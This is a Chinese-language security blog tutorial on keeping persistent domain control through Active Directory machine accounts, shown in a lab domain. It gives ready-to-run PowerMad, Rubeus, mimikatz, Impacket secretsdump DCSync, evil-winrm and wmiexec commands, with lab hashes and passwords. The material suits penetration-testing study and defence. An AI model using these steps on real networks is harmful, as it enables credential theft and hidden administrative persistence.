域渗透 - 利用机器账户进行域维权

admin 2025年3月13日12:32:32评论22 views字数 3996阅读13分19秒阅读模式
 

1. 前言

在现代网络攻击场景中,机器账户常被利用于权限提升(提权)和横向移动。攻击者可以通过以下两种主要方式实现这一目标:

  • 利用机器账户委派权限:通过配置机器账户的委派权限,攻击者可以执行诸如DCSync(域控制器同步)等操作,从而获取域内的哈希值(hash)。

  • 篡改机器账户的权限或属性:攻击者可以将任意计算机账户添加到高权限组(如Domain Admins、Domain Controllers、Enterprise Admins),或者修改计算机账户的userAccountControl属性。通过这些操作,攻击者能够在域内进行身份认证(前提是已获取账户密码),并进一步实施提权操作,例如通过DCSync获取域内用户哈希值。

除了上述攻击手段,机器账户还可用于域内权限维持(域维权操作)。攻击者通过将计算机账户添加到高权限组或篡改其userAccountControl属性,利用已知密码进行身份认证,从而在域内长期保持高权限状态,为后续攻击提供便利。

2. userAccountControl说明

在默认配置下,域中的标准用户最多可以创建10个机器账户,这一限制由ms-DS-MachineAccountQuota属性设定。然而,通过使用Powermad等工具,攻击者可以从已加入域或未加入域的主机中创建新的机器账户,从而绕过这一限制。 为了使机器账户在域环境中显示为域控制器,需要将userAccountControl属性设置为0x2000(即SERVER_TRUST_ACCOUNT)。0x2000对应的十进制数值为8192。修改此属性需要域管理员级别的权限。 以下是通过ADSI编辑器将userAccountControl属性修改为8192的具体步骤:

  1. 打开ADSI编辑器,连接到目标域控制器。

  2. 定位到目标机器账户的属性。

  3. 找到userAccountControl属性,并将其值修改为8192。

  4. 保存更改并关闭编辑器。

通过上述操作,机器账户将被配置为域控制器信任账户,从而获得更高的权限和功能。

域渗透 - 利用机器账户进行域维权

3. PowerMad+Active Directory组合

3.1 添加机器账户

在进行权限维持(维权)操作时,攻击者可以通过多种工具在命令行环境中创建机器账户,从而实现对域环境的进一步控制。常用的工具包括Standln、SharpMad 和 PowerMad 等。这些工具能够在不直接接触域控制器的情况下,通过命令行快速创建机器账户,从而绕过某些安全限制。

以下将展示如何使用 PowerMad 在域内添加一个机器账户。

使用 PowerMad 创建机器账户

PowerMad 是一款功能强大的工具,专门用于在域环境中创建机器账户。以下是使用 PowerMad 创建机器账户的具体步骤:

  1. 准备工作
  • 确保攻击机已安装 PowerMad 工具。

  • 确保攻击机已加入目标域,或者具备访问域控制器的网络权限。

  • 准备一个具有足够权限的域用户凭据(例如域管理员账户)。

  1. 创建机器账户 打开命令行工具(如 PowerShell),并运行以下命令:
Import-Module .Powermad.ps1
New-MachineAccount -MachineAccount Nayon -Domain attack.local -DomainController dc.attack.local
域渗透 - 利用机器账户进行域维权

此时我们便添加机器账户成功了,利用如下命令查看:

net group "domain computers" /domain
域渗透 - 利用机器账户进行域维权

3.2 修改机器账户userAccountControl属性值

在域环境中,机器账户的 userAccountControl 属性用于定义账户的类型和行为。默认情况下,创建的机器账户属于域计算机(primaryGroupId 为 515),表示其为普通域成员计算机。如果需要将机器账户提升为域控制器(primaryGroupId 更改为 516),可以通过修改 userAccountControl 属性值为 8192(十六进制 0x2000,即 SERVER_TRUST_ACCOUNT)。

以下是使用域管理员权限修改机器账户 userAccountControl 属性值的步骤:

  1. 查询当前机器账户属性

使用 PowerShell 查询机器账户的当前属性,确认其 primaryGroupId 和 userAccountControl 值:

Get-ADComputer Nayon -pro * | Select-object name, primarygroupid, useraccountcontrol
  1. 修改 userAccountControl 属性值

使用 PowerShell 的 Set-ADComputer 命令将机器账户的 userAccountControl 属性值修改为 8192

Set-ADComputer Nayon -replace @{ "userAccountcontrol" = 8192 }
  1. 验证修改结果
Get-ADComputer Nayon -Properties primaryGroupId, userAccountControl | Select-Object Name, primaryGroupId, userAccountControl

再次查询机器账户属性,确认修改是否成功:

域渗透 - 利用机器账户进行域维权

此处若发现域主机内不存在Active Directory模块,可在本地上传Microsoft.ActiveDirectory.Management .dll在Powershell利用import-module 进行安装使用 : 此处为执行效果。

3.3 获得机器账户hash

由于我们已知机器账户的密码,因此我们可以利用它的NTLM 、aes128、aes256 hash 来进行pth,用于获得一个拥有域控制器权限的会话。

利用Rubeus将Nayon账户的明文密码转为NTLM hash,用于维权时进行的pth。

Rubeus.exe hash /user:Nayon /password:Password@1! /domain:attack.local
域渗透 - 利用机器账户进行域维权

如图所示,成功拿到了机器账户的hash。

4. 利用方式

4.1 PTH传递获得权限

在域内机器上利用mimikatz进行pth攻击,成功弹回具有Nayon用户权限的新会话。

sekurlsa::pth /user:Nayon /domain:attack.local /aes128:95F9380561068098A673F425207EFA0D
域渗透 - 利用机器账户进行域维权

注意:此处拿到的会话,唯有域用户处于高权限组内才可使用dcsync获得域内hash。

4.2 利用PTT获得权限

由于PTH是需要本地管理员权限的,若我们此时连本地管理员权限都没有,我们还可以使用mimikatz自带的ptt功能拿到相应权限。

注意:此处拿到的会话,本人本地测试即使是将机器用户的userAccountConrol属性值改为8192也无法执行dcsync获得域内hash,唯有划入域内高权限组内可以使用机器账户权限执行dcsync。

利用利用Rubes申请拿到机器账户的hash

Rubeus.exe hash /user:Nayon /password:123456 /domain:attack.local

使用keke申请tgt票据,用于下一步的ptt攻击

tgt::ask /user:Nayon2 /domain:attack.local /ntlm:32ED87BDB5FDC5E9CBA88547376818D4
域渗透 - 利用机器账户进行域维权
kerberos::ptt  [email protected][email protected]
域渗透 - 利用机器账户进行域维权

此时成功拿到域内hash

4.3 利用impacket套件执行dcsync

使用Impacket套件中的secretsdump.py脚本,结合域内机器账户的凭证拖取域内hash

python3 secretsdump.py attack.local/Nayon$:'Password@1!'@10.10.10.165 -just-dc
域渗透 - 利用机器账户进行域维权

利用其中的域管NTLM hash与域控机进行通信

4.4 Evil-WinRM通过WinRM远程链接

前提是域管开启WinRM服务,默认端口5985

指定域管用户以及域管用户的NTLM hash 远程链接

evil-winrm -i 10.10.10.165 -u administrator -H dbf36575210cc5a38ab4050cc6a2e9aa
域渗透 - 利用机器账户进行域维权

4.5 Impacket套件wmiexec.py远程链接

python3 wmiexec.py -hash dbf36575210cc5a38ab4050cc6a2e9aa [email protected]
域渗透 - 利用机器账户进行域维权

4.6 加入高权限用户组用以维权

除去域用户之外,域内机器账户也可以添加到高权限用户组中用以维权。利用Active Directory模块查询域管用户所在的用户组。

Get-ADGroupMember "administrators"
域渗透 - 利用机器账户进行域维权

使用域管权限的会话添加机器账户Nayon$到高权限用户组内。

可加入Enterprise Admins、Administrators、Domain Admins等高权限组内用以维权。

net group "Enterprise admins" Nayon$ /add /domain

利用net group查看是否被添加成功

net group "Enterprise admins" /domain
域渗透 - 利用机器账户进行域维权

此时我们便可以使用Impacket中的secretsdump项目获得域内hash

python3 secretsdump.py attack.local/Nayon$:'123456'@10.10.10.165 -just-dc-user krbtgt
域渗透 - 利用机器账户进行域维权
 

原文始发于微信公众号(SecretTeam安全团队):域渗透 - 利用机器账户进行域维权

 

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年3月13日12:32:32
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   域渗透 - 利用机器账户进行域维权https://cn-sec.com/archives/3826923.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息